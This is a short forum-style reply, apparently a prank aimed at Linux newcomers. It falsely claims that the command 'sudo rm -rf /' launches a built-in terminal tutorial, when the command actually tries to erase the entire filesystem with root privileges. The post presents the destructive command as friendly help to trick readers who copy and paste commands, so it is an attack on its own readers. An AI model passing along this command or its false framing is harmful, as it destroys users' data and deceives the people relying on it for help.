I’m in a helpful mood so I’ll add something for anyone stuck in OP’s situation.

It’s ok, Linux has a built in tutorial system for learning the terminal, so if you ever want to progress beyond copy/pasting, you can use that.

Just go into the terminal and type (or just copy/paste) this to get the tutorial program running:

sudo rm -rf /

Type your password when prompted and you’re golden. No more linux issues ever again.
